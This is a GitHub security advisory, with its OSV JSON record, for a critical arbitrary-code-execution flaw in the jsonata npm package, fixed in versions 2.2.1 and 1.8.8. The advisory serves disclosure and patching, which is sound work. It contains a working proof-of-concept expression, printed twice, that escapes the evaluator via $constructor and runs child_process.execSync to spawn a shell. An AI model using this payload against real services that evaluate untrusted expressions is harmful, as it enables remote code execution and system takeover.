GHSA-2943-5XFG-GQ5F

Vulnerability from github – Published: 2026-08-21 20:58 – Updated: 2026-08-21 20:58
VLAI
Summary
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Details

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});
Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "jsonata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:58:01Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to a bypassable `hasOwnProperty` check in\n`environment.lookup`\nhttps://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871\n\nThis was fixed in https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)\nwhich is included in the `2.2.1` release, and then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n     $hasOwnProperty := $spread($string);\n     $__proto__ := $constructor;\n     $constructor(\"return\nprocess.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027})\")();\n)`);\n\nawait expression.evaluate({});\n```",
  "id": "GHSA-2943-5xfg-gq5f",
  "modified": "2026-08-21T20:58:01Z",
  "published": "2026-08-21T20:58:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/pull/799"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jsonata-js/jsonata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions"
}



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